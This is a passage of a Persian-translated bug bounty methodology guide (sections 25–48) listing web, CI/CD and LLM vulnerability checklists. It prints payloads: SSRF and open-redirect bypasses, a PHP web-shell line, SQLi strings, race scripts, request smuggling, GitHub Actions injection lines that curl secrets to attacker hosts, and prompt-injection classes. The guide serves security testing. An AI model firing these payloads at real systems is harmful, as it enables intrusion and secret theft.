۲۵

Payload و الگوهای تشخیص

6 Key Patterns from Top Reports
ترجمه‌ی کامل ✓بخش ۲۵ از ۷۴

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

  1. ‏پیچیدگی فیچر = ‏سطح باگ — ‏ایمپورت‌ها، ‏یکپارچگی‌ها، ‏چندtenantی، ‏workflowهای چندگامی
  2. ‏ناهمسانی توسعه‌دهنده = ‏قوی‌ترین شاهد — ‏‏timingSafeEqual یک جا، ‏=== جای دیگر
  3. ‏باگ «شاخه Else» — ‏پراکسی/gateway در مسیر else توکن خام را بدون validation عبور می‌دهد
  4. ‏‏Import/Export = ‏SSRF — ‏هر فیچر «import از URL» تاریخاً SSRF داشته
  5. ‏‏endpointهای ثانویه/legacy = ‏بدون auth — ‏‏/api/v1/ محافظت‌شده ولی /api/ نه
  6. ‏‏پنجره‌های Race در عملیات مالی — ‏چک-بعد-کسر به‌عنوان دو عملیات DB = ‏double-spend

# ‏‏فاز ۳: ‏HUNT

۲۶

بخش تکمیلی

Note-Taking System (Never Hunt Without This)
ترجمه‌ی کامل ✓بخش ۲۶ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# TARGET: company.com -- SESSION 1

۲۷

بخش تکمیلی

Interesting Leads (not confirmed bugs yet)
ترجمه‌ی کامل ✓بخش ۲۷ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

  • [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
۲۸

بخش تکمیلی

Dead Ends (don't revisit)
ترجمه‌ی کامل ✓بخش ۲۸ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

  • /admin -> IP restricted, confirmed by trying 15+ bypass headers
۲۹

بخش تکمیلی

Anomalies
ترجمه‌ی کامل ✓بخش ۲۹ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

  • GET /api/export returns 200 even when session cookie is missing
  • Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
۳۰

بخش تکمیلی

Rabbit Holes (time-boxed, max 15 min each)
ترجمه‌ی کامل ✓بخش ۳۰ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

  • [ ] 10 min: JWT kid injection on auth endpoint
۳۱

بخش تکمیلی

Confirmed Bugs
ترجمه‌ی کامل ✓بخش ۳۱ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

  • [15:10] IDOR on /api/invoices/{id} -- read+write

۳۲

بخش تکمیلی

Subdomain Type -> Hunt Strategy
ترجمه‌ی کامل ✓بخش ۳۲ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

  • dev/staging/test: Debug endpoints, disabled auth, verbose errors
  • admin/internal: Default creds, IP bypass headers (X-Forwarded-For: 127.0.0.1)
  • api/api-v2: Enumerate with kiterunner, check older unprotected versions
  • auth/sso: OAuth misconfigs, open redirect in redirect_uri
  • upload/cdn: CORS, path traversal, stored XSS
۳۳

مراحل شکار

CVE-Seeded Audit Approach
ترجمه‌ی کامل ✓بخش ۳۳ از ۷۴

روش‌شناسی گام‌به‌گام اجرای تکنیک از شناسایی تا اعتبارسنجی

  1. ‏یک eval set مربوط به CVE بساز — ‏۵-۱۰ CVE قبلی برای کدبیس هدف جمع کن
  2. ‏باگ‌های قدیمی را بازتولید کن — ‏وریفای کن می‌توانی الگو را در کد قدیمی‌تر پیدا کنی
  3. ‏‏pattern-match رو به جلو — ‏همان anti-pattern را در کد فعلی جستجو کن
  4. ‏روی سطوح حمله‌ی پهن تمرکز کن — ‏موتورهای JS، ‏parserها، ‏هرچیزی که ورودی خارجی نامعتبر را پردازش می‌کند
مراحل استخراج‌شده
  1. ۱‏یک eval set مربوط به CVE بساز — ‏۵-۱۰ CVE قبلی برای کدبیس هدف جمع کن
  2. ۲‏باگ‌های قدیمی را بازتولید کن — ‏وریفای کن می‌توانی الگو را در کد قدیمی‌تر پیدا کنی
  3. ۳‏‏pattern-match رو به جلو — ‏همان anti-pattern را در کد فعلی جستجو کن
  4. ۴‏روی سطوح حمله‌ی پهن تمرکز کن — ‏موتورهای JS، ‏parserها، ‏هرچیزی که ورودی خارجی نامعتبر را پردازش می‌کند
۳۴

زنجیره‌ها و ترکیب‌ها

Rust/Blockchain Source Code (Hard-Won Lessons)
ترجمه‌ی کامل ✓بخش ۳۴ از ۷۴

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

Panic paths: encoding vs decoding -- .unwrap() on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.

"Known TODO" is not a mitigation -- A comment like // Votes are not signed for now doesn't mean safe.

Pattern-based hunting from confirmed findings -- If verify_signed_vote is broken, check verify_signed_proposal and verify_commit_signature.

# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"

# VULNERABILITY HUNTING CHECKLISTS

۳۵

ابزار و نکات عملیاتی

IDOR -- Insecure Direct Object Reference
ترجمه‌ی کامل ✓بخش ۳۵ از ۷۴

ابزارهای کمکی، نصب، خروجی‌های مورد انتظار و یادداشت‌های اپراتور

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

#1 most paid web2 class -- 30% of all submissions that get paid.
IDOR Variants (10 Ways to Test)
VariantWhat to Test
V1: DirectChange object ID in URL path /api/users/123 -> /api/users/456
V2: Body paramChange ID in POST/PUT JSON body {"user_id": 456}
V3: GraphQL node{ node(id: "base64(OtherType:123)") { ... } }
V4: Batch/bulk/api/users?ids=1,2,3,4,5 -- request multiple IDs at once
V5: NestedChange parent ID: /orgs/{org_id}/users/{user_id}
V6: File path/files/download?path=../other-user/file.pdf
V7: PredictableSequential integers, timestamps, short UUIDs
V8: Method swapGET returns 403? Try PUT/PATCH/DELETE on same endpoint
V9: Version rollbackv2 blocked? Try /api/v1/ same endpoint
V10: Header injectionX-User-ID: victim_id, X-Org-ID: victim_org
IDOR Testing Checklist
  • [ ] Create two accounts (A = attacker, B = victim)
  • [ ] Log in as A, perform all actions, note all IDs in requests
  • [ ] Log in as B, replay A's requests with A's IDs using B's auth
  • [ ] Try EVERY endpoint with swapped IDs -- not just GET, also PUT/DELETE/PATCH
  • [ ] Check API v1/v2 differences
  • [ ] Check GraphQL schema for node() queries
  • [ ] Check WebSocket messages for client-supplied IDs
  • [ ] Test batch endpoints (can you request multiple IDs?)
  • [ ] Try adding unexpected params: ?user_id=other_user
IDOR Chains (higher payout)
  • IDOR + Read PII = Medium
  • IDOR + Write (modify other's data) = High
  • IDOR + Admin endpoint = Critical (privilege escalation)
  • IDOR + Account takeover path = Critical
  • IDOR + Chatbot (LLM reads other user's data) = High
۳۶

بخش تکمیلی

SSRF -- Server-Side Request Forgery
ترجمه‌ی کامل ✓بخش ۳۶ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

  • [ ] Try cloud metadata: http://169.254.169.254/latest/meta-data/
  • [ ] Try internal services: http://127.0.0.1:6379/ (Redis), :9200 (Elasticsearch), :27017 (MongoDB)
  • [ ] Test all IP bypass techniques (see table below)
  • [ ] Test protocol bypass: file://, dict://, gopher://
  • [ ] Look in: webhook URLs, import from URL, profile picture URL, PDF generators, XML parsers
SSRF IP Bypass Table (11 Techniques)
BypassPayloadNotes
Decimal IPhttp://2130706433/127.0.0.1 as single decimal
Hex IPhttp://0x7f000001/Hex representation
Octal IPhttp://0177.0.0.1/Octal 0177 = 127
Short IPhttp://127.1/Abbreviated notation
IPv6http://[::1]/Loopback in IPv6
IPv6-mappedhttp://[::ffff:127.0.0.1]/IPv4-mapped IPv6
Redirect chainhttp://attacker.com/302->http://169.254.169.254Check each hop
DNS rebindingRegister domain resolving to 127.0.0.1First check = external, fetch = internal
URL encodinghttp://127.0.0.1%2523@attacker.comParser confusion
Enclosed alphanumerichttp://①②⑦.⓪.⓪.①Unicode numerals
Protocol smugglinggopher://127.0.0.1:6379/_INFORedis/other protocols
SSRF Impact Chain
  • DNS-only = Informational (don't submit)
  • Internal service accessible = Medium
  • Cloud metadata readable = High (key exposure)
  • Cloud metadata + exfil keys = Critical (code execution on cloud)
  • Docker API accessible = Critical (direct RCE)
۳۷

بخش تکمیلی

OAuth / OIDC
ترجمه‌ی کامل ✓بخش ۳۷ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

  • [ ] Missing state parameter -> CSRF
  • [ ] redirect_uri accepts wildcards -> ATO
  • [ ] Missing PKCE -> code theft
  • [ ] Implicit flow -> token leakage in referrer
  • [ ] Open redirect in post-auth redirect -> OAuth token theft chain
Open Redirect Bypass Table (11 Techniques)

Use these when chaining open redirect into OAuth code theft:

BypassPayloadNotes
Double URL encoding%252F%252FDecodes to // after double decode
Backslashhttps://target.com\@evil.comSome parsers normalize \ to /
Missing protocol//evil.comProtocol-relative
@-trickhttps://target.com@evil.comtarget.com becomes username
Protocol-relative///evil.comTriple slash
Tab/newline injection//evil%09.comWhitespace in hostname
Fragment trickhttps://evil.com#target.comFragment misleads validation
Null bytehttps://evil.com%00target.comSome parsers truncate at null
Parameter pollution?next=target.com&next=evil.comLast value wins
Path confusion/redirect/..%2F..%2Fevil.comPath traversal in redirect
Unicode normalizationhttps://evil.com/target.comVisual confusion
۳۸

بخش تکمیلی

File Upload
ترجمه‌ی کامل ✓بخش ۳۸ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

File Upload Bypass Table
BypassTechnique
Double extensionfile.php.jpg, file.php%00.jpg
Case variationfile.pHp, file.PHP5
Alternative extensions.phtml, .phar, .shtml, .inc
Content-Type spoofimage/jpeg header with PHP content
Magic bytesGIF89a; <?php system($_GET['c']); ?>
.htaccess uploadAddType application/x-httpd-php .jpg
SVG XSS<svg onload=alert(1)>
Race conditionUpload + execute before cleanup runs
Polyglot JPEG/PHPValid JPEG that is also valid PHP
Zip slip../../etc/cron.d/shell in filename inside archive
Magic Bytes Reference
TypeHex
JPEGFF D8 FF
PNG89 50 4E 47 0D 0A 1A 0A
GIF47 49 46 38
PDF25 50 44 46
ZIP/DOCX/XLSX50 4B 03 04
۳۹

بخش تکمیلی

Race Conditions
ترجمه‌ی کامل ✓بخش ۳۹ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

  • [ ] Coupon codes / promo codes
  • [ ] Gift card redemption
  • [ ] Fund transfer / withdrawal
  • [ ] Voting / rating limits
  • [ ] OTP verification brute via race
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
  -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait
Turbo Intruder -- Single-Packet Attack (All Requests Arrive Simultaneously)
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False,
                           engine=Engine.BURP2)
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')  # all 20 fire in a single TCP packet

def handleResponse(req, interesting):
    table.add(req)
۴۰

بخش تکمیلی

Business Logic
ترجمه‌ی کامل ✓بخش ۴۰ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

  • [ ] Negative quantities in cart
  • [ ] Price parameter tampering
  • [ ] Workflow skip (e.g., pay without checkout)
  • [ ] Role escalation via registration fields
  • [ ] Privilege persistence after downgrade
۴۱

بخش تکمیلی

XSS -- Cross-Site Scripting
ترجمه‌ی کامل ✓بخش ۴۱ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

XSS Sinks (grep for these)
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)    // string form
setInterval(userInput, ...)
new Function(userInput)

// MEDIUM RISK (context-dependent)
element.src = userInput        // JavaScript URI possible
element.href = userInput
location.href = userInput
XSS Chains (escalate from Medium to High/Critical)
  • XSS + sensitive page (banking, admin) = High
  • XSS + CSRF token theft = CSRF bypass -> Critical action
  • XSS + service worker = persistent XSS across pages
  • XSS + credential theft via fake login form = ATO
  • XSS in chatbot response = stored XSS chain
۴۲

بخش تکمیلی

SQL Injection
ترجمه‌ی کامل ✓بخش ۴۲ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

Detection
# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--

# Error-based detection
'; SELECT 1/0--    # divide by zero error reveals SQLi
Modern SQLi WAF Bypass
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1
۴۳

بخش تکمیلی

GraphQL
ترجمه‌ی کامل ✓بخش ۴۳ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

Introspection (alone = Informational, but reveals attack surface)
{ __schema { types { name fields { name type { name } } } } }
Missing Field-Level Auth
# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
Batching Attack (Rate Limit Bypass)
[
  {"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
  {"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
  "...100 more..."
]
۴۴

بخش تکمیلی

LLM / AI Features
ترجمه‌ی کامل ✓بخش ۴۴ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

  • [ ] Prompt injection via user input passed to LLM
  • [ ] Indirect injection via document/URL the AI processes
  • [ ] IDOR in chat history (enumerate conversation IDs)
  • [ ] System prompt extraction via roleplay/encoding
  • [ ] RCE via code execution tool abuse
  • [ ] ASCII smuggling (invisible unicode in LLM output)
Agentic AI Hunting (OWASP ASI01-ASI10)

When target has AI agents with tool access, these are the 10 attack classes:

IDVuln ClassWhat to Test
ASI01Prompt injectionOverride system prompt via user input -- make agent ignore its rules
ASI02Tool misuseMake AI call tools with attacker-controlled params (SSRF via "fetch URL", RCE via code tool)
ASI03Data exfilExtract training data / PII via crafted prompts that leak context
ASI04Privilege escalationUse AI to access admin-only tools -- agent has broader perms than user
ASI05Indirect injectionPoison document/URL the AI processes -- hidden instructions in fetched content
ASI06Excessive agencyAI takes destructive actions without confirmation -- delete, send, pay
ASI07Model DoSCraft inputs that cause infinite loops, excessive token usage, or OOM
ASI08Insecure outputAI generates XSS/SQLi/command injection in its output that gets rendered
ASI09Supply chainCompromised plugins/tools/MCP servers the AI calls
ASI10Sensitive disclosureAI reveals internal configs, API keys, system prompts, user data

Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.

۴۵

بخش تکمیلی

Cache Poisoning / Web Cache Deception
ترجمه‌ی کامل ✓بخش ۴۵ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

  • [ ] Test X-Forwarded-Host, X-Original-URL, X-Rewrite-URL -- unkeyed headers reflected in response
  • [ ] Parameter cloaking (?param=value;poison=xss)
  • [ ] Fat GET (body params on GET requests)
  • [ ] Web cache deception (/account/settings.css -- trick cache into storing private response)
  • [ ] Param Miner (Burp extension) -- auto-discovers unkeyed headers
۴۶

بخش تکمیلی

HTTP Request Smuggling
ترجمه‌ی کامل ✓بخش ۴۶ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

  • [ ] CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
  • [ ] TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
  • [ ] H2.CL: HTTP/2 downgrade smuggling
  • [ ] TE obfuscation: Transfer-Encoding: xchunked, tab prefix, space prefix
  • [ ] Use Burp "HTTP Request Smuggler" extension -- detects automatically
CL.TE Example
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.

۴۷

بخش تکمیلی

Android / Mobile Hunting
ترجمه‌ی کامل ✓بخش ۴۷ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

  • [ ] Certificate pinning bypass (Frida/objection)
  • [ ] Exported activities/receivers (AndroidManifest.xml)
  • [ ] Deep link injection
  • [ ] Shared preferences / SQLite in cleartext
  • [ ] WebView JavaScript bridge
  • [ ] Mobile API often uses older/different API version than web
۴۸

بخش تکمیلی

CI/CD Pipeline — GitHub Actions Security
ترجمه‌ی کامل ✓بخش ۴۸ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏ابزار: ‏از ‏sisakulint ‏(sisaku-security.github.io/lint/) برای SAST خودکار استفاده کن — ‏۵۲ قاعده، ‏انتشار taint در سراسر stepها/jobها/workflowهای قابل‌استفاده‌ی‌مجدد، ‏پوشش ۸۱.۶٪ GitHub Security Advisories ‏(۳۱/۳۸ GHSA). ‏نصب: ‏brew install sisakulint یا دانلود باینری از releaseها.
‏اسکن سریع: sisakulint scan .github/workflows/ — ‏ایssueهای Critical/High را با پیشنهاد auto-fix پرچم می‌زند.
‏اسکن remote: sisakulint scan --remote owner/repo — ‏اسکن بدون clone.
‏‏Recon: ‏یافتن فایل‌های Workflow
# Clone target's public repos, then:
find . -name "*.yml" -path "*/.github/workflows/*" | head -50

# Quick grep for dangerous patterns:
grep -rn "pull_request_target\|workflow_run" .github/workflows/
grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/
grep -rn 'secrets\.\|secrets: inherit' .github/workflows/

# Run sisakulint on all workflows:
sisakulint scan .github/workflows/
‏‏دسته‌ی ۱: ‏تزریق کد و امنیت Expression ‏(CICD-SEC-04)

‏علت ریشه‌ای: ‏ورودی نامعتبر ‏(github.event.issue.title، github.event.pull_request.body، ‏نام branchها، ‏پیام‌های commit) که از طریق expressionهای ${{ }} به بلوک‌های run: درون‌گذاری می‌شود.

‏منبع‌های Taint ‏(کنترل‌شده-توسط-مهاجم):

github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref
  • [ ] ‏تزریق Expression — ${{ github.event.issue.title }} در بلوک run: = ‏RCE
# VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) #
run: echo "${{ github.event.issue.title }}"

# FIXED — use env var (shell-quoted, not expression-interpolated)
env:
  TITLE: ${{ github.event.issue.title }}
run: echo "$TITLE"
  • [ ] ‏تزریق متغیر محیطی — ‏ورودی نامعتبر ← ‏$GITHUB_ENV
# VULNERABLE — attacker injects newline + arbitrary VAR=VALUE
run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV

# FIXED — use heredoc delimiter
run: |
  {
    echo "BRANCH<<EOF"
    echo "${{ github.head_ref }}"
    echo "EOF"
  } >> $GITHUB_ENV
  • [ ] ‏تزریق PATH — ‏ورودی نامعتبر ← ‏$GITHUB_PATH = ‏اجرای باینری دلخواه
  • [ ] ‏‏clobbering خروجی — ‏ورودی نامعتبر ← ‏$GITHUB_OUTPUT بدون delimiter مربوط به heredoc = ‏دستکاری job مربوط به downstream
  • [ ] ‏تزریق آرگومان — ‏ورودی نامعتبر به‌عنوان آرگومان CLI ‏(مثلاً docker run ${{ ... }})
# VULNERABLE
run: docker run ${{ github.event.pull_request.body }}

# FIXED — end-of-options marker + env var
env:
  INPUT: ${{ github.event.pull_request.body }}
run: docker run -- "$INPUT"
  • [ ] ‏جعل درخواست ‏(SSRF) — ‏URL کنترل‌شده-توسط-مهاجم در curl/wget داخل workflow
‏‏دسته‌ی ۲: ‏مسمومیت Pipeline و Checkout نامعتبر

‏علت ریشه‌ای: ‏تریگرهای ممتاز ‏(pull_request_target، workflow_run) کد PR مهاجم را checkout می‌کنند، ‏که بعد با secretهای repo اجرا می‌شود.

  • [ ] ‏‏checkout نامعتبر — actions/checkout روی pull_request_target بدون ref امن صریح
# VULNERABLE — checks out attacker's PR code with repo secrets
on: pull_request_target
jobs:
  build:
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # ATTACKER CODE
      - run: make build  # runs attacker's Makefile with secrets

# FIXED — only checkout base branch, or use read-only permissions
permissions: {}
steps:
  - uses: actions/checkout@v4  # checks out base branch by default
  • [ ] ‏‏TOCTOU ‏(Time-of-Check-Time-of-Use) — ‏تأیید label-gated + ‏ref قابل‌تغییر = ‏مهاجم label می‌افزاید، ‏کامیت مخرب را بعد از تأیید push می‌کند
  • [ ] ‏‏taint مربوط به workflow قابل‌استفاده‌ی‌مجدد — secrets: inherit همه‌ی secretها را به workflow فراخوانی‌شده که ورودی نامعتبر را پردازش می‌کند می‌دهد
  • [ ] ‏مسمومیت Cache — ‏checkout نامعتبر ← ‏build ← ‏نوشتن cache ← ‏workflow مورداعتماد cache مسموم را می‌خواند
  • [ ] ‏مسمومیت Cache ‏(گام poisonable) — ‏checkout ناامن و پس‌از‌آن گام build قبل از ذخیره‌ی cache
  • [ ] ‏مسمومیت Artifact — actions/download-artifact از workflow_run نامعتبر بدون validation
# VULNERABLE — downloads artifact from untrusted workflow, then executes it
on: workflow_run
steps:
  - uses: actions/download-artifact@v4
  - run: ./downloaded-binary  # attacker-controlled binary

# FIXED — verify artifact hash/signature before execution
  • [ ] ‏‏Artipacked — actions/checkout با persist-credentials: true ‏(پیش‌فرض) credentialهای .git/config را در artifactهای آپلودشده لو می‌دهد
# FIXED
- uses: actions/checkout@v4
  with:
    persist-credentials: false
‏‏دسته‌ی ۳: ‏زنجیره‌ی تأمین و امنیت وابستگی ‏(CICD-SEC-08)
  • [ ] ‏‏actionهای pin‌نشده — uses: actions/checkout@v4 ‏(تگ mutable) به‌جای پین SHA
# VULNERABLE — tag can be force-pushed
uses: actions/checkout@v4

# FIXED — pinned to immutable commit SHA
uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
  • [ ] ‏‏Impostor commit — ‏شبکه‌ی fork اجازه‌ی push کامیت‌هایی با SHA می‌دهد که به‌نظر متعلق به repo مربوط به upstream است
  • [ ] ‏‏confusion مربوط به Ref — ‏نام‌های tag/branch مبهم برای لود نسخه‌ی action ناخواسته بهره‌برداری می‌شوند
  • [ ] ‏‏actionهای آسیب‌پذیر شناخته‌شده — ‏actionها را علیه دیتابیس GHSA چک کن ‏(sisakulint خودکار تشخیص می‌دهد)
  • [ ] ‏‏actionهای آرشیوشده — ‏action نگهداری‌نشده با آسیب‌پذیری‌های unpatch‌شده
  • [ ] ‏ایمیج‌های کانتینر pin‌نشده — image: ubuntu:latest به‌جای پین digest مربوط به SHA256
‏‏دسته‌ی ۴: ‏محافظت Credential و Secret
  • [ ] ‏‏exfiltration مربوط به Secret — curl https://evil.com/${{ secrets.TOKEN }} در workflow
  • [ ] ‏‏secretها در artifactها — ‏artifactهای آپلودشده حاوی .env، ‏credentialها یا فایل‌های پنهان
# FIXED — exclude hidden files
- uses: actions/upload-artifact@v4
  with:
    include-hidden-files: false
  • [ ] ‏‏secretهای unmask‌شده — ‏مقادیر مشتق‌شده‌ی fromJson() ماسکینگ خودکار GitHub را دور می‌زنند
# FIXED — manually mask derived secrets
run: |
  TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token')
  echo "::add-mask::$TOKEN"
  • [ ] ‏‏secrets: inherit افراطی — ‏call مربوط به workflow قابل‌استفاده‌ی‌مجدد همه‌ی secretها را ارث می‌برد وقتی فقط یکی لازم است
  • [ ] ‏‏credentialهای هاردکد — ‏کلیدهای API، ‏پسوردها، ‏توکن‌ها مستقیم در YAML مربوط به workflow
‏‏دسته‌ی ۵: ‏تریگرها و کنترل دسترسی ‏(CICD-SEC-01)
  • [ ] ‏تریگرهای خطرناک بدون کاهش — pull_request_target یا workflow_run بدون permissions: {}، ‏بدون گیت تأیید، ‏بدون محدودیت ref
  • [ ] ‏تریگرهای خطرناک با کاهش جزئی — ‏بعضی محافظت‌ها هست ولی قابل‌دورزدن
  • [ ] ‏دورزدن تأیید مبتنی-بر-label — if: contains(github.event.pull_request.labels.*.name, 'approved') قابل-جعل است ‏(مهاجم می‌تواند label بیافزاید)
  • [ ] ‏‏spoofing مربوط به شرط bot — if: github.actor != 'dependabot[bot]' به‌سادگی با نام‌گذاری مشابه اکانت دور زده می‌شود
  • [ ] ‏‏permissionهای افراطی GITHUB_TOKEN — permissions: write-all وقتی فقط contents: read لازم است
  • [ ] ‏‏runnerهای self-hosted در repoهای عمومی — ‏PRهای نامعتبر روی زیرساخت org اجرا می‌شوند = ‏فرار کانتینر ← ‏حرکت جانبی
  • [ ] ‏سرقت توکن OIDC — ‏runnerهای CI توکن‌های OIDC را که دسترسی ابری می‌دهند افشا می‌کنند
‏‏دسته‌ی ۶: ‏امنیت AI Agent ‏(جدید — ‏+۲۰۲۵)
  • [ ] ‏تریگر AI نامحدود — allowed_non_write_users: "*" به هر کاربری اجازه‌ی تریگر اجرای AI agent را می‌دهد
  • [ ] ‏grantهای ابزار افراطی — ‏به AI agent ابزارهای Bash/Write/Edit در بافت تریگر نامعتبر داده‌شده = ‏پرامپت مهاجم ← ‏RCE
  • [ ] ‏تزریق prompt از طریق بافت workflow — ${{ github.event.issue.body }} به پارامتر prompt مربوط به AI agent درون‌گذاری‌شده
‏‏Workflow مربوط به شکار
1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
   a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
   b. What secrets are accessible? (check permissions: block, secrets usage)
   c. What's the blast radius? (repo secrets → deploy keys → cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tampering
‏‏تمپلیت PoC مربوط به تزریق Expression
# Step 1: Create an issue with injection payload in title
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"

# Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated
# CVSS: 9.3 Critical (RCE with repo secrets)
‏‏GHSAهای دنیای-واقعی ‏(Payoutهای اثبات‌شده)
GHSA‏Action‏کلاس باگ‏شدت
‏‏GHSA-gq52-6phf-x2r6‏tj-actions/branch-names‏تزریق expression از طریق نام branch‏Critical
‏‏GHSA-4xqx-pqpj-9fqw‏atlassian/gajira-create‏تزریق کد در تریگر ممتاز‏Critical
‏‏GHSA-g86g-chm8-7r2p‏check-spelling/check-spelling‏افشای secret در لاگ‌های build‏Critical
‏‏GHSA-cxww-7g56-2vh6‏actions/download-artifact‏مسمومیت artifact ‏(action رسمی)‏High
‏‏GHSA-h3qr-39j9-4r5v‏gradle/gradle-build-action‏مسمومیت cache از طریق checkout نامعتبر‏High
‏‏GHSA-mrrh-fwg8-r2c3‏tj-actions/changed-files‏زنجیره‌ی تأمین — ‏impostor commit‏High
‏‏GHSA-phf6-hm3h-x8qp‏broadinstitute/cromwell‏افشای توکن از طریق تزریق کد‏Critical
‏‏GHSA-qmg3-hpqr-gqvc‏reviewdog/action-setup‏بمب‌زمانی از طریق پین تگ‏High
‏‏GHSA-vqf5-2xx6-9wfm‏github/codeql-action‏action رسمی آسیب‌پذیر شناخته‌شده‏High
‏‏GHSA-hw6r-g8gj-2987‏pytorch/pytorch‏تزریق آرگومان در workflow مربوط به build‏Moderate
‏‏سیگنال A←B: ‏زنجیره‌های CI/CD
Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivot
